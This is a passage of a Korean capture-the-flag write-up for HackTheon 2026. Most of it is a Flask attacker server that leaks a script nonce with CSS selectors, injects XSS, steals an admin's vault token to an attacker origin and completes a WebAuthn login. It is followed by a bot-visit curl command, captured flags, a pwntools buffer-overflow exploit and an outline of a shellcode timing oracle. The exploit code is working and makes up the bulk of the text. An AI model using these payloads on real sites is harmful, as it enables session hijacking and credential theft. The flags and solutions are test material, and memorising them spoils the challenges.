    r.raise_for_status()

def leak_inner(st):
    run = st["run"]
    elems = []
    rules = ["i{display:block;width:1px;height:1px;overflow:hidden}"]
    for tup in itertools.product(HEX, repeat=3):
        gram = "".join(tup)
        elems.append(f"<i id=x{gram}></i>")
        rules.append(
            f"html:has(script[nonce*='{gram}']) #x{gram}"
            f"{{background:url(//{PUBLIC_HOST}/h/{run}/{gram})}}"
        )
    return "".join(elems) + "<style>" + "".join(rules)

def post_leak(st):
    clear_posts(st)
    add_post(st, outer_raw(leak_inner(st)))
    st["posted_at"] = time.time()

def post_xss(st):
    nonce = st["prefix"]
    run = st["run"]
    inner = (
        f"<iframe srcdoc='<script nonce={nonce} "
        f"src={PUBLIC_ORIGIN}/xss.js?run={run}>&amp;lt;/script&amp;gt;'>"
    )
    clear_posts(st)
    add_post(st, outer_raw(inner))
    st["xss_posted"] = True

def get_state(run):
    with lock:
        st = states.get(run)
        if not st:
            return None
        view = {
            "run": run,
            "target_id": st["target_id"],
            "host": st["target"]["host"],
            "bot": st["target"]["bot"],
            "room": st["room"],
            "prefix": st["prefix"],
            "nonce": st["prefix"] if len(st["prefix"]) == 16 else None,
            "grams": sorted(st.get("grams", []))[:80],
            "gram_count": len(st.get("grams", [])),
            "hits": st["hits"][-40:],
            "token": st.get("vault_token"),
            "result": st.get("result"),
            "error": st.get("error"),
        }
        return view

@app.after_request
def cors(resp):
    resp.headers["Access-Control-Allow-Origin"] = "*"
    resp.headers["Access-Control-Allow-Headers"] = "Content-Type"
    resp.headers["Access-Control-Allow-Methods"] = "GET,POST,OPTIONS"
    resp.headers["Cache-Control"] = "no-store"
    return resp

@app.get("/")
def index():
    target_id = request.args.get("target", "s1")
    if target_id not in TARGETS:
        target_id = "s1"
    run = secrets.token_hex(4)
    html_doc = f"""<!doctype html>
<meta charset="utf-8">
<title>RUN</title>
<pre id=o>start</pre>
<script>
const RUN={json.dumps(run)};
const TARGET={json.dumps(target_id)};
const out=document.getElementById('o');
const sleep=ms=>new Promise(r=>setTimeout(r,ms));
function log(x){{ out.textContent += "\\n" + x; console.log(x); }}
function b64d(s){{s=s.replace(/-/g,'+').replace(/_/g,'/');s+='='.repeat((4-s.length%4)%4);return Uint8Array.from(atob(s),c=>c.charCodeAt(0));}}
function b64e(b){{let s='';for(const x of new Uint8Array(b))s+=String.fromCharCode(x);return btoa(s).replace(/\\+/g,'-').replace(/\\//g,'_').replace(/=+$/,'');}}
async function post(u,d){{return fetch(u,{{method:'POST',headers:{{'Content-Type':'application/json'}},body:JSON.stringify(d)}}).then(r=>r.json());}}
(async()=>{{
  try {{
    const w=open('about:blank','pp_'+RUN);
    log('popup '+!!w);
    const st=await post('/setup?run='+RUN+'&target='+TARGET,{{}});
    log('room '+st.room);
    w.location=st.host+'/dashboard?room='+encodeURIComponent(st.room)+'&r='+Date.now();
    for(let i=0;i<80;i++) {{
      await sleep(300);
      const s=await fetch('/state?run='+RUN).then(r=>r.json());
      log('prefix '+s.prefix);
      if(s.nonce) break;
    }}
    let s=await fetch('/state?run='+RUN).then(r=>r.json());
    if(!s.nonce) throw new Error('nonce leak failed: '+s.prefix);
    log('nonce '+s.nonce);
    await post('/post_xss?run='+RUN,{{}});
    w.location=s.host+'/';
    await sleep(2000);
    w.location={json.dumps(PUBLIC_ORIGIN)}+'/history_bounce?run='+RUN;
    for(let i=0;i<50;i++) {{
      await sleep(500);
      s=await fetch('/state?run='+RUN).then(r=>r.json());
      if(s.token) break;
      log('wait token');
    }}
    if(!s.token) throw new Error('token capture failed');
    log('token '+s.token.slice(0,8));
    let opts=await fetch('/get_challenge?run='+RUN).then(r=>r.json());
    if(opts.error) throw new Error(JSON.stringify(opts));
    opts.challenge=b64d(opts.challenge);
    if(opts.allowCredentials) opts.allowCredentials=opts.allowCredentials.slice(0,64).map(c=>({{type:'public-key',id:b64d(c.id)}}));
    log('webauthn');
    const a=await navigator.credentials.get({{publicKey:{{...opts,userVerification:'preferred',timeout:20000}}}});
    const body={{id:a.id,rawId:b64e(a.rawId),type:a.type,response:{{authenticatorData:b64e(a.response.authenticatorData),clientDataJSON:b64e(a.response.clientDataJSON),signature:b64e(a.response.signature),userHandle:a.response.userHandle?b64e(a.response.userHandle):null}}}};
    const res=await post('/assertion?run='+RUN,body);
    log(JSON.stringify(res));
    document.title=res.flag?'DONE':'FAIL';
  }} catch(e) {{
    log('ERR '+(e.stack||e.message||e));
    await post('/client_error?run='+RUN,{{error:String(e.stack||e.message||e)}}).catch(()=>{{}});
    document.title='FAIL';
  }}
}})();
</script>"""
    return Response(html_doc, mimetype="text/html")

@app.get("/simple")
def simple():
    target_id = request.args.get("target", "s2")
    if target_id not in TARGETS:
        target_id = "s2"
    run = secrets.token_hex(4)
    target = TARGETS[target_id]
    with lock:
        states[run] = {
            "run": run,
            "target_id": target_id,
            "target": target,
            "prefix": "",
            "hits": [],
            "grams": set(),
            "room": "",
        }
    html_doc = f"""<!doctype html>
<meta charset="utf-8">
<title>RUN</title>
<pre id=o>simple</pre>
<script>
const RUN={json.dumps(run)};
const HOST={json.dumps(target["host"])};
const out=document.getElementById('o');
const sleep=ms=>new Promise(r=>setTimeout(r,ms));
function log(x){{out.textContent+='\\n'+x;console.log(x);}}
function b64d(s){{s=s.replace(/-/g,'+').replace(/_/g,'/');s+='='.repeat((4-s.length%4)%4);return Uint8Array.from(atob(s),c=>c.charCodeAt(0));}}
function b64e(b){{let s='';for(const x of new Uint8Array(b))s+=String.fromCharCode(x);return btoa(s).replace(/\\+/g,'-').replace(/\\//g,'_').replace(/=+$/,'');}}
async function post(u,d){{return fetch(u,{{method:'POST',headers:{{'Content-Type':'application/json'}},body:JSON.stringify(d)}}).then(r=>r.json());}}
(async()=>{{
 try {{
  const w=open('about:blank','simp_'+RUN);
  log('popup '+!!w);
  w.location=HOST+'/';
  await sleep(3000);
  w.location={json.dumps(PUBLIC_ORIGIN)}+'/bounce?run='+RUN;
  for(let i=0;i<40;i++) {{
    await sleep(500);
    const s=await fetch('/state?run='+RUN).then(r=>r.json());
    if(s.token) break;
    log('wait token');
  }}
  let s=await fetch('/state?run='+RUN).then(r=>r.json());
  if(!s.token) throw new Error('token failed');
  log('token '+s.token.slice(0,8));
  let opts=await fetch('/get_challenge?run='+RUN).then(r=>r.json());
  if(opts.error) throw new Error(JSON.stringify(opts));
  opts.challenge=b64d(opts.challenge);
  if(opts.allowCredentials) opts.allowCredentials=opts.allowCredentials.slice(0,64).map(c=>({{type:'public-key',id:b64d(c.id)}}));
  log('webauthn');
  const a=await navigator.credentials.get({{publicKey:{{...opts,userVerification:'preferred',timeout:20000}}}});
  const body={{id:a.id,rawId:b64e(a.rawId),type:a.type,response:{{authenticatorData:b64e(a.response.authenticatorData),clientDataJSON:b64e(a.response.clientDataJSON),signature:b64e(a.response.signature),userHandle:a.response.userHandle?b64e(a.response.userHandle):null}}}};
  const res=await post('/assertion?run='+RUN,body);
  log(JSON.stringify(res));
  document.title=res.flag?'DONE':'FAIL';
 }} catch(e) {{
  log('ERR '+(e.stack||e.message||e));
  await post('/client_error?run='+RUN,{{error:String(e.stack||e.message||e)}}).catch(()=>{{}});
  document.title='FAIL';
 }}
}})();
</script>"""
    return Response(html_doc, mimetype="text/html")

@app.get("/simple_direct")
def simple_direct():
    target_id = request.args.get("target", "s2")
    if target_id not in TARGETS:
        target_id = "s2"
    run = secrets.token_hex(4)
    target = TARGETS[target_id]
    with lock:
        states[run] = {
            "run": run,
            "target_id": target_id,
            "target": target,
            "prefix": "",
            "hits": [],
            "grams": set(),
            "room": "",
        }
    code = f"""
(async()=>{{
 const ATK={json.dumps(PUBLIC_ORIGIN)};
 const RUN={json.dumps(run)};
 try {{
  const me=await fetch('/api/me',{{credentials:'include'}}).then(r=>r.json());
  let add={{}};
  try {{
   add=await fetch('/api/origins',{{method:'POST',credentials:'include',headers:{{'Content-Type':'application/json'}},body:JSON.stringify({{origin:ATK}})}}).then(r=>r.json());
  }} catch(e) {{ add={{error:String(e)}}; }}
  new Image().src=ATK+'/token?run='+encodeURIComponent(RUN)+'&name='+encodeURIComponent(me.name||'')+'&token='+encodeURIComponent(me.vault_token||'')+'&add='+encodeURIComponent(JSON.stringify(add));
  document.title='DONE_TOKEN';
 }} catch(e) {{
  new Image().src=ATK+'/token?run='+encodeURIComponent(RUN)+'&err='+encodeURIComponent(String(e&&e.stack||e));
  document.title='FAIL_TOKEN';
 }}
}})()
""".replace("\n", "")
    html_doc = f"""<!doctype html>
<meta charset="utf-8">
<title>RUN</title>
<pre id=o>direct</pre>
<script>
const RUN={json.dumps(run)};
const HOST={json.dumps(target["host"])};
const CODE={json.dumps(code)};
const out=document.getElementById('o');
const sleep=ms=>new Promise(r=>setTimeout(r,ms));
function log(x){{out.textContent+='\\n'+x;console.log(x);}}
function b64d(s){{s=s.replace(/-/g,'+').replace(/_/g,'/');s+='='.repeat((4-s.length%4)%4);return Uint8Array.from(atob(s),c=>c.charCodeAt(0));}}
function b64e(b){{let s='';for(const x of new Uint8Array(b))s+=String.fromCharCode(x);return btoa(s).replace(/\\+/g,'-').replace(/\\//g,'_').replace(/=+$/,'');}}
async function post(u,d){{return fetch(u,{{method:'POST',headers:{{'Content-Type':'application/json'}},body:JSON.stringify(d)}}).then(r=>r.json());}}
(async()=>{{
 try {{
  const w=open('about:blank','dir_'+RUN);
  log('popup '+!!w);
  w.location=HOST+'/';
  await sleep(3000);
  w.location='javascript:'+CODE;
  for(let i=0;i<40;i++) {{
    await sleep(500);
    const s=await fetch('/state?run='+RUN).then(r=>r.json());
    if(s.token) break;
    log('wait token');
  }}
  let s=await fetch('/state?run='+RUN).then(r=>r.json());
  if(!s.token) throw new Error('token failed');
  log('token '+s.token.slice(0,8));
  let opts=await fetch('/get_challenge?run='+RUN).then(r=>r.json());
  if(opts.error) throw new Error(JSON.stringify(opts));
  opts.challenge=b64d(opts.challenge);
  if(opts.allowCredentials) opts.allowCredentials=opts.allowCredentials.slice(0,64).map(c=>({{type:'public-key',id:b64d(c.id)}}));
  log('webauthn');
  const a=await navigator.credentials.get({{publicKey:{{...opts,userVerification:'preferred',timeout:20000}}}});
  const body={{id:a.id,rawId:b64e(a.rawId),type:a.type,response:{{authenticatorData:b64e(a.response.authenticatorData),clientDataJSON:b64e(a.response.clientDataJSON),signature:b64e(a.response.signature),userHandle:a.response.userHandle?b64e(a.response.userHandle):null}}}};
  const res=await post('/assertion?run='+RUN,body);
  log(JSON.stringify(res));
  document.title=res.flag?'DONE':'FAIL';
 }} catch(e) {{
  log('ERR '+(e.stack||e.message||e));
  await post('/client_error?run='+RUN,{{error:String(e.stack||e.message||e)}}).catch(()=>{{}});
  document.title='FAIL';
 }}
}})();
</script>"""
    return Response(html_doc, mimetype="text/html")

def token_js(run):
    return f"""
(async()=>{{
 try {{
  const ATK={json.dumps(PUBLIC_ORIGIN)};
  const RUN={json.dumps(run)};
  const me=await fetch('/api/me',{{credentials:'include'}}).then(r=>r.json());
  let add={{}};
  try {{
    add=await fetch('/api/origins',{{method:'POST',credentials:'include',headers:{{'Content-Type':'application/json'}},body:JSON.stringify({{origin:ATK}})}}).then(r=>r.json());
  }} catch(e) {{ add={{error:String(e)}}; }}
  new Image().src=ATK+'/token?run='+encodeURIComponent(RUN)+'&name='+encodeURIComponent(me.name||'')+'&token='+encodeURIComponent(me.vault_token||'')+'&add='+encodeURIComponent(JSON.stringify(add));
  document.title='DONE_TOKEN';
 }} catch(e) {{
  new Image().src={json.dumps(PUBLIC_ORIGIN)}+'/token?run='+encodeURIComponent({json.dumps(run)})+'&err='+encodeURIComponent(String(e&&e.stack||e));
  document.title='FAIL_TOKEN';
 }}
}})()
""".replace("\n", "")

@app.get("/simple_204")
def simple_204():
    target_id = request.args.get("target", "s2")
    if target_id not in TARGETS:
        target_id = "s2"
    run = secrets.token_hex(4)
    target = TARGETS[target_id]
    with lock:
        states[run] = {
            "run": run,
            "target_id": target_id,
            "target": target,
            "prefix": "",
            "hits": [],
            "grams": set(),
            "room": "",
        }
    html_doc = f"""<!doctype html>
<meta charset="utf-8">
<title>RUN</title>
<pre id=o>204</pre>
<script>
const RUN={json.dumps(run)};
const HOST={json.dumps(target["host"])};
const out=document.getElementById('o');
const sleep=ms=>new Promise(r=>setTimeout(r,ms));
function log(x){{out.textContent+='\\n'+x;console.log(x);}}
function b64d(s){{s=s.replace(/-/g,'+').replace(/_/g,'/');s+='='.repeat((4-s.length%4)%4);return Uint8Array.from(atob(s),c=>c.charCodeAt(0));}}
function b64e(b){{let s='';for(const x of new Uint8Array(b))s+=String.fromCharCode(x);return btoa(s).replace(/\\+/g,'-').replace(/\\//g,'_').replace(/=+$/,'');}}
async function post(u,d){{return fetch(u,{{method:'POST',headers:{{'Content-Type':'application/json'}},body:JSON.stringify(d)}}).then(r=>r.json());}}
(async()=>{{
 try {{
  const w=open('about:blank','r204_'+RUN);
  log('popup '+!!w);
  w.location=HOST+'/';
  await sleep(3000);
  w.location={json.dumps(PUBLIC_ORIGIN)}+'/bounce204?run='+RUN;
  for(let i=0;i<40;i++) {{
    await sleep(500);
    const s=await fetch('/state?run='+RUN).then(r=>r.json());
    if(s.token) break;
    log('wait token');
  }}
  let s=await fetch('/state?run='+RUN).then(r=>r.json());
  if(!s.token) throw new Error('token failed');
  log('token '+s.token.slice(0,8));
  let opts=await fetch('/get_challenge?run='+RUN).then(r=>r.json());
  if(opts.error) throw new Error(JSON.stringify(opts));
  opts.challenge=b64d(opts.challenge);
  if(opts.allowCredentials) opts.allowCredentials=opts.allowCredentials.slice(0,64).map(c=>({{type:'public-key',id:b64d(c.id)}}));
  log('webauthn');
  const a=await navigator.credentials.get({{publicKey:{{...opts,userVerification:'preferred',timeout:20000}}}});
  const body={{id:a.id,rawId:b64e(a.rawId),type:a.type,response:{{authenticatorData:b64e(a.response.authenticatorData),clientDataJSON:b64e(a.response.clientDataJSON),signature:b64e(a.response.signature),userHandle:a.response.userHandle?b64e(a.response.userHandle):null}}}};
  const res=await post('/assertion?run='+RUN,body);
  log(JSON.stringify(res));
  document.title=res.flag?'DONE':'FAIL';
 }} catch(e) {{
  log('ERR '+(e.stack||e.message||e));
  await post('/client_error?run='+RUN,{{error:String(e.stack||e.message||e)}}).catch(()=>{{}});
  document.title='FAIL';
 }}
}})();
</script>"""
    return Response(html_doc, mimetype="text/html")

@app.get("/simple_anchor")
def simple_anchor():
    target_id = request.args.get("target", "s2")
    if target_id not in TARGETS:
        target_id = "s2"
    run = secrets.token_hex(4)
    target = TARGETS[target_id]
    win = "anc_" + run
    with lock:
        states[run] = {
            "run": run,
            "target_id": target_id,
            "target": target,
            "prefix": "",
            "hits": [],
            "grams": set(),
            "room": "",
        }
    code = token_js(run)
    html_doc = f"""<!doctype html>
<meta charset="utf-8">
<title>RUN</title>
<pre id=o>anchor</pre>
<script>
const RUN={json.dumps(run)};
const HOST={json.dumps(target["host"])};
const WIN={json.dumps(win)};
const CODE={json.dumps(code)};
const out=document.getElementById('o');
const sleep=ms=>new Promise(r=>setTimeout(r,ms));
function log(x){{out.textContent+='\\n'+x;console.log(x);}}
function b64d(s){{s=s.replace(/-/g,'+').replace(/_/g,'/');s+='='.repeat((4-s.length%4)%4);return Uint8Array.from(atob(s),c=>c.charCodeAt(0));}}
function b64e(b){{let s='';for(const x of new Uint8Array(b))s+=String.fromCharCode(x);return btoa(s).replace(/\\+/g,'-').replace(/\\//g,'_').replace(/=+$/,'');}}
async function post(u,d){{return fetch(u,{{method:'POST',headers:{{'Content-Type':'application/json'}},body:JSON.stringify(d)}}).then(r=>r.json());}}
(async()=>{{
 try {{
  const w=open('about:blank',WIN);
  log('popup '+!!w);
  w.location=HOST+'/';
  await sleep(3000);
  const a=document.createElement('a');
  a.target=WIN;
  a.href='javascript:'+CODE;
  document.body.appendChild(a);
  a.click();
  for(let i=0;i<40;i++) {{
    await sleep(500);
    const s=await fetch('/state?run='+RUN).then(r=>r.json());
    if(s.token) break;
    log('wait token');
  }}
  let s=await fetch('/state?run='+RUN).then(r=>r.json());
  if(!s.token) throw new Error('token failed');
  log('token '+s.token.slice(0,8));
  let opts=await fetch('/get_challenge?run='+RUN).then(r=>r.json());
  if(opts.error) throw new Error(JSON.stringify(opts));
  opts.challenge=b64d(opts.challenge);
  if(opts.allowCredentials) opts.allowCredentials=opts.allowCredentials.slice(0,64).map(c=>({{type:'public-key',id:b64d(c.id)}}));
  log('webauthn');
  const cred=await navigator.credentials.get({{publicKey:{{...opts,userVerification:'preferred',timeout:20000}}}});
  const body={{id:cred.id,rawId:b64e(cred.rawId),type:cred.type,response:{{authenticatorData:b64e(cred.response.authenticatorData),clientDataJSON:b64e(cred.response.clientDataJSON),signature:b64e(cred.response.signature),userHandle:cred.response.userHandle?b64e(cred.response.userHandle):null}}}};
  const res=await post('/assertion?run='+RUN,body);
  log(JSON.stringify(res));
  document.title=res.flag?'DONE':'FAIL';
 }} catch(e) {{
  log('ERR '+(e.stack||e.message||e));
  await post('/client_error?run='+RUN,{{error:String(e.stack||e.message||e)}}).catch(()=>{{}});
  document.title='FAIL';
 }}
}})();
</script>"""
    return Response(html_doc, mimetype="text/html")

@app.get("/simple_openjs")
def simple_openjs():
    target_id = request.args.get("target", "s2")
    if target_id not in TARGETS:
        target_id = "s2"
    run = secrets.token_hex(4)
    target = TARGETS[target_id]
    win = "opj_" + run
    with lock:
        states[run] = {
            "run": run,
            "target_id": target_id,
            "target": target,
            "prefix": "",
            "hits": [],
            "grams": set(),
            "room": "",
        }
    code = token_js(run)
    html_doc = f"""<!doctype html>
<meta charset="utf-8">
<title>RUN</title>
<pre id=o>openjs</pre>
<script>
const RUN={json.dumps(run)};
const HOST={json.dumps(target["host"])};
const WIN={json.dumps(win)};
const CODE={json.dumps(code)};
const out=document.getElementById('o');
const sleep=ms=>new Promise(r=>setTimeout(r,ms));
function log(x){{out.textContent+='\\n'+x;console.log(x);}}
function b64d(s){{s=s.replace(/-/g,'+').replace(/_/g,'/');s+='='.repeat((4-s.length%4)%4);return Uint8Array.from(atob(s),c=>c.charCodeAt(0));}}
function b64e(b){{let s='';for(const x of new Uint8Array(b))s+=String.fromCharCode(x);return btoa(s).replace(/\\+/g,'-').replace(/\\//g,'_').replace(/=+$/,'');}}
async function post(u,d){{return fetch(u,{{method:'POST',headers:{{'Content-Type':'application/json'}},body:JSON.stringify(d)}}).then(r=>r.json());}}
(async()=>{{
 try {{
  const w=open('about:blank',WIN);
  log('popup '+!!w);
  w.location=HOST+'/';
  await sleep(3000);
  open('javascript:'+CODE, WIN);
  for(let i=0;i<40;i++) {{
    await sleep(500);
    const s=await fetch('/state?run='+RUN).then(r=>r.json());
    if(s.token) break;
    log('wait token');
  }}
  let s=await fetch('/state?run='+RUN).then(r=>r.json());
  if(!s.token) throw new Error('token failed');
  log('token '+s.token.slice(0,8));
  let opts=await fetch('/get_challenge?run='+RUN).then(r=>r.json());
  if(opts.error) throw new Error(JSON.stringify(opts));
  opts.challenge=b64d(opts.challenge);
  if(opts.allowCredentials) opts.allowCredentials=opts.allowCredentials.slice(0,64).map(c=>({{type:'public-key',id:b64d(c.id)}}));
  log('webauthn');
  const cred=await navigator.credentials.get({{publicKey:{{...opts,userVerification:'preferred',timeout:20000}}}});
  const body={{id:cred.id,rawId:b64e(cred.rawId),type:cred.type,response:{{authenticatorData:b64e(cred.response.authenticatorData),clientDataJSON:b64e(cred.response.clientDataJSON),signature:b64e(cred.response.signature),userHandle:cred.response.userHandle?b64e(cred.response.userHandle):null}}}};
  const res=await post('/assertion?run='+RUN,body);
  log(JSON.stringify(res));
  document.title=res.flag?'DONE':'FAIL';
 }} catch(e) {{
  log('ERR '+(e.stack||e.message||e));
  await post('/client_error?run='+RUN,{{error:String(e.stack||e.message||e)}}).catch(()=>{{}});
  document.title='FAIL';
 }}
}})();
</script>"""
    return Response(html_doc, mimetype="text/html")

@app.get("/bounce204")
def bounce204():
    run = request.args.get("run", "")
    resp = Response("", status=204)
    resp.headers["Refresh"] = "0; url=javascript:" + token_js(run)
    return resp

@app.get("/bounce")
def bounce():
    run = request.args.get("run", "")
    resp = Response("", status=302)
    resp.headers["Location"] = "javascript:" + token_js(run)
    return resp

@app.get("/history_bounce")
def history_bounce():
    return Response("<script>history.go(-2)</script>", mimetype="text/html")

@app.post("/setup")
def setup():
    run = request.args.get("run") or secrets.token_hex(4)
    target_id = request.args.get("target", "s1")
    target = TARGETS.get(target_id, TARGETS["s1"])
    with lock:
        if run in states:
            return jsonify(get_state(run))
        st = {
            "run": run,
            "target_id": target_id,
            "target": target,
            "prefix": "",
            "hits": [],
        }
        states[run] = st
    try:
        st["sess"] = make_attacker_session(target, run)
        st["room"] = create_room(st["sess"], target)
        post_leak(st)
    except Exception as e:
        st["error"] = repr(e)
        raise
    print(f"[SETUP] {run} {target_id} room={st['room']}", flush=True)
    return jsonify(get_state(run))

@app.get("/state")
def state():
    run = request.args.get("run", "")
    st = get_state(run)
    if not st:
        return jsonify(error="unknown run"), 404
    return jsonify(st)

def reconstruct_nonce(grams):
    if len(grams) < 14:
        return None
    edges = [(g[:2], g[1:], g) for g in grams if len(g) == 3]
    nodes = set()
    out_counts = {}
    in_counts = {}
    graph = {}
    for a, b, g in edges:
        nodes.add(a)
        nodes.add(b)
        out_counts[a] = out_counts.get(a, 0) + 1
        in_counts[b] = in_counts.get(b, 0) + 1
        graph.setdefault(a, []).append(b)
    starts = [n for n in nodes if out_counts.get(n, 0) - in_counts.get(n, 0) == 1]
    if starts:
        start = starts[0]
    else:
        start = next((n for n in nodes if out_counts.get(n, 0)), None)
    if not start:
        return None
    stack = [start]
    path = []
    graph = {k: v[:] for k, v in graph.items()}
    while stack:
        node = stack[-1]
        if graph.get(node):
            stack.append(graph[node].pop())
        else:
            path.append(stack.pop())
    path.reverse()
    if len(path) != len(edges) + 1:
        return None
    nonce = path[0] + "".join(node[-1] for node in path[1:])
    if len(nonce) == 16 and all(n in HEX for n in nonce):
        wanted = {nonce[i:i + 3] for i in range(len(nonce) - 2)}
        if wanted == set(grams):
            return nonce
    return None

def css_rules(run, prefix):
    cache = secrets.token_hex(3)
    rules = []
    for ch in HEX:
        guess = prefix + ch
        hit = f"{PUBLIC_ORIGIN}/hit/{run}/{guess}?v={cache}"
        rules.append(
            f"html:has(script[nonce^='{guess}']) body"
            f"{{background-image:url('{hit}') !important;}}\n"
        )
    return "".join(rules)

@app.get("/leak.css")
def leak_css():
    run = request.args.get("run", "")

    def generate():
        last_len = -1
        deadline = time.time() + 20
        yield "/* start */\n"
        while time.time() < deadline:
            with lock:
                st = states.get(run)
                if not st:
                    return
                prefix = st["prefix"]
            if len(prefix) != last_len:
                last_len = len(prefix)
                if len(prefix) >= 16:
                    yield "/* done */\n"
                    return
                yield css_rules(run, prefix)
            time.sleep(0.05)
        yield "/* timeout */\n"

    print(f"[CSS] stream {run}", flush=True)
    return Response(generate(), mimetype="text/css")

@app.get("/h/<run>/<gram>")
def hit_gram(run, gram):
    with lock:
        st = states.get(run)
        if not st:
            return Response("", status=204)
        st.setdefault("grams", set()).add(gram)
        st["hits"].append({"t": round(time.time(), 3), "guess": gram})
        nonce = reconstruct_nonce(st["grams"])
        if nonce and len(st["prefix"]) != 16:
            st["prefix"] = nonce
            print(f"[NONCE] {run} nonce={nonce} grams={len(st['grams'])}", flush=True)
    return Response("", status=204)

@app.get("/hit/<run>/<guess>")
def hit(run, guess):
    with lock:
        st = states.get(run)
        if not st:
            return Response("", status=204)
        now = time.time()
        st["hits"].append({"t": round(now, 3), "guess": guess})
        if (
            len(guess) == len(st["prefix"]) + 1
            and guess.startswith(st["prefix"])
            and all(c in HEX for c in guess)
        ):
            st["prefix"] = guess
            print(f"[HIT] {run} prefix={guess}", flush=True)
    return Response("", status=204)

@app.post("/post_xss")
def post_xss_route():
    run = request.args.get("run", "")
    with lock:
        st = states.get(run)
        if not st:
            return jsonify(error="unknown run"), 404
        if len(st["prefix"]) != 16:
            return jsonify(error="nonce not ready", prefix=st["prefix"]), 400
        post_xss(st)
    print(f"[XSS] posted {run} nonce={st['prefix']}", flush=True)
    return jsonify(ok=True)

@app.get("/xss.js")
def xss_js():
    run = request.args.get("run", "")
    js = f"""
(async()=>{{
  try {{
    const ATK={json.dumps(PUBLIC_ORIGIN)};
    const RUN={json.dumps(run)};
    const me=await fetch('/api/me',{{credentials:'include'}}).then(r=>r.json());
    let add={{}};
    try {{
      add=await fetch('/api/origins',{{method:'POST',credentials:'include',headers:{{'Content-Type':'application/json'}},body:JSON.stringify({{origin:ATK}})}}).then(r=>r.json());
    }} catch(e) {{ add={{error:String(e)}}; }}
    await fetch(ATK+'/token?run='+encodeURIComponent(RUN)+'&name='+encodeURIComponent(me.name||'')+'&token='+encodeURIComponent(me.vault_token||'')+'&add='+encodeURIComponent(JSON.stringify(add)),{{mode:'no-cors'}});
    top.document.title='DONE_TOKEN';
  }} catch(e) {{
    await fetch({json.dumps(PUBLIC_ORIGIN)}+'/token?run='+encodeURIComponent({json.dumps(run)})+'&err='+encodeURIComponent(String(e&&e.stack||e)),{{mode:'no-cors'}});
    top.document.title='FAIL_TOKEN';
  }}
}})();
"""
    return Response(js, mimetype="application/javascript")

@app.route("/token", methods=["GET", "POST", "OPTIONS"])
def token():
    if request.method == "OPTIONS":
        return Response("", status=204)
    run = request.args.get("run", "")
    with lock:
        st = states.get(run)
        if not st:
            return jsonify(error="unknown run"), 404
        token = request.args.get("token", "")
        name = request.args.get("name", "")
        err = request.args.get("err", "")
        if not token and request.data:
            try:
                data = json.loads(request.get_data(as_text=True))
                token = data.get("vault_token", "")
                name = data.get("name", "")
            except Exception:
                pass
        if token:
            st["vault_token"] = token
            st["admin_name"] = name
            print(f"[TOKEN] {run} {name} {token}", flush=True)
        if err:
            st["error"] = err
            print(f"[XSS-ERR] {run} {err}", flush=True)
    return jsonify(ok=True)

@app.get("/get_challenge")
def get_challenge():
    run = request.args.get("run", "")
    with lock:
        st = states.get(run)
        if not st:
            return jsonify(error="unknown run"), 404
        if not st.get("vault_token"):
            return jsonify(error="no token"), 400
        sess = requests.Session()
        sess.verify = False
        st["vault_sess"] = sess
        target = st["target"]
    r = sess.post(urljoin(target["host"], "/vault/begin"), timeout=10)
    return Response(r.content, status=r.status_code, content_type=r.headers.get("content-type", "application/json"))

@app.post("/assertion")
def assertion():
    run = request.args.get("run", "")
    with lock:
        st = states.get(run)
        if not st:
            return jsonify(error="unknown run"), 404
        sess = st.get("vault_sess")
        if not sess:
            return jsonify(error="begin first"), 400
        payload = {"vault_token": st.get("vault_token", ""), "credential": request.get_json()}
        target = st["target"]
    r = sess.post(urljoin(target["host"], "/vault"), json=payload, timeout=10)
    try:
        out = r.json()
    except Exception:
        out = {"status": r.status_code, "text": r.text}
    with lock:
        st["result"] = out
    print(f"[RESULT] {run} {r.status_code} {out}", flush=True)
    return jsonify(out), r.status_code

@app.post("/client_error")
def client_error():
    run = request.args.get("run", "")
    err = (request.get_json(silent=True) or {}).get("error", "")
    with lock:
        if run in states:
            states[run]["error"] = err
    print(f"[CLIENT-ERR] {run} {err}", flush=True)
    return jsonify(ok=True)

if __name__ == "__main__":
    print(f"[+] public origin {PUBLIC_ORIGIN}", flush=True)
    app.run(
        host="0.0.0.0",
        port=PORT,
        debug=False,
        threaded=True,
        ssl_context=("cert.pem", "key.pem"),
    )

python3 nonce_exploit.py <attacker.com:90001>

bot 방문 요청:

curl -sk -i <http://43.202.165.147:8080/visit> \\
  -H 'Content-Type: application/json' \\
  --data '{"url":"<https://attacker.com:9001/?target=s1","room":"hist-s1>"}'

hacktheon2026{ph4nt0m_r0r_x_n0nc3_gh0st_ch41n}

Phantompass revenge

Phantompass 문제가 언인텐이 발생해 수정한 후 다시 출제한 문제였다. 팀 내에서 풀었던 풀이는 공식 인텐 풀이가 맞아 위 익스와 똑같다.

hacktheon2026{r3v3ng3_ph4nt0m_4dm1n_b00tstr4p_l0ck3d}

---

Pwn

immutable

다른 변수를 덮어씌우면 되는 아주 간단한 문제

from pwn import *

p = remote('3.37.44.62', 33201)

payload = b'A' * 128 + b'\xEF\xBE\xAD\xDE'

p.sendlineafter(b'input: ', payload)
p.interactive()

flag:hacktheon2026{dadf7ad4915a842046888537eff11f898c9dc5e4ebb77f84abd370eb867b753086466390273442d7fabab8e031e3f86c9ad6450ca584d24a21574a0fedf923a0eea8b09b057919d5}

even_made

prob는 실행 전에 ./flag를 전역 버퍼 flag_mem에 읽어두고, 사용자가 넣은 shellcode를 실행하는 구조였다. 다만 입력 shellcode의 모든 바이트가 짝수여야 하고, seccomp 때문에 nanosleep syscall만 허용되어 직접 출력은 불가능했다.

그래서 flag를 출력하는 대신, shellcode가 flag_mem을 읽고 조건에 따라 crash 또는 timeout을 만들도록 했다. 원격에서는 이 두 경우의 실행 시간이 다르게 보이기 때문에 timing oracle로 flag를 한 글자씩 복구할 수 있었다.

PIE 때문에 flag_mem의 주소를 바로 알 수는 없었지만, shellcode가 call rax로 실행되면서 스택에 return address가 남았다. 이 주소의 하위 16비트만 조작하면 flag_mem 위치를 가리키게 만들 수 있었고, 이 과정에 사용한 명령어들도 모두 even byte로 구성했다.

이후 lodsb로 flag byte를 읽고, shr로 원하는 bit를 CF에 넣은 뒤 bit 값에 따라 crash 또는 loop로 갈라지게 했다. 네트워크 노이즈가 있어서 positive oracle과 inverse oracle을 둘 다 사용했고, 각 bit의 timing 차이를 비교해서 값을 판별했다.

마지막에는 bit 복구만 쓰지 않고, printable 문자 후보를 만든 뒤 문자 단위 equality oracle로 다시 검증했다. 후보 문자가 맞으면 crash, 틀리면 timeout이 나도록 하거나 그 반대 조건을 같이 측정해서 더 안정적으로 복구했다.

